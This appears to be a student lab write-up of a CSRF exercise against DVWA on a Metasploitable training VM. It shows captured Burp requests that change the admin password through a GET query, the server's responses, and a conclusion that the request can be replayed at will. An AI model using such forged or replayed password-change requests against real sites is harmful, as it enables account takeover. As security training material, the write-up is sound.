### Reset CSRF

### Capturing packet via burp

### Request

Raw Params Headers Hex

GET /dvwa/vulnerabilities/csrf/?password\_new=toor&password\_conf=toor&Change=Change

HTTP/1.1

Host: metasploitable

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://metasploitable/dvwa/vulnerabilities/csrf/

Cookie: security=low; PHPSESSID=02e684ab18d2e2b8880c351e0404a4a5

Connection: close

Upgrade-Insecure-Requests: 1

### Response

# Change your a New password: Confirm new password: Change Password Changed

Logged in as admin

You have logged in as 'admin'

## Logout

Username: admin Security Level: low PHPIDS: disabled

### Resend burp request again changing to original password

GET

/dvwa/vulnerabilities/csrf/?password\_new=password&password\_conf=password&Change=Chan

ge HTTP/1.1

Host: metasploitable

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://metasploitable/dvwa/vulnerabilities/csrf/

Cookie: security=low; PHPSESSID=02e684ab18d2e2b8880c351e0404a4a5

Connection: close

Upgrade-Insecure-Requests: 1

### Response

# Change your a

New password:

Confirm new password:

Change

Password Changed

Logged in with original password

You have logged in as 'admin'

# Logout

Username: admin Security Level: low PHPIDS: disabled

### Conclusion

We are able to replay the packet over and over again to change admin password at will.